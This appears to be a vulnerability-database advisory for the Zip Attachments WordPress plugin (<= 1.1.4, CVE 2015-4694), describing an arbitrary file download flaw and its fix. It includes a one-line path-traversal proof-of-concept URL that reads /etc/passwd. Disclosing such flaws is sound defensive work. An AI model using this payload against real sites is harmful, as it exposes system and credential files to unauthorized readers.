Zip Attachments <= 1.1.4 - Arbitrary File Download

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Description
The zip-attachments plugin allows arbitrary file downloads because it does not check the download path of the requested file. 
Proof of Concept
http://www.example.com/wp-content/plugins/zip-attachments/download.php?za_file=../../../../../etc/passwd&za_filename=passwd

Affects

Plugin zip-attachments
fixed in version 1.5

References

CVE 2015-4694
URL https://wordpress.org/support/topic/zip-attachments-wordpress-plugin-v114-arbitrary-file-download-vulnerability?replies=1

Classification

Type BYPASS

Miscellaneous

Submitter Larry W. Cashdollar
Submitter Website www.vapid.dhs.org
Submitter Twitter _larry0
Views 229
Verified No
WPVDB ID 8047

Timeline

Publicly Published 2015-06-12 (over 1 year ago)
Added 2015-06-15 (over 1 year ago)
Last Updated 2015-06-21 (over 1 year ago)

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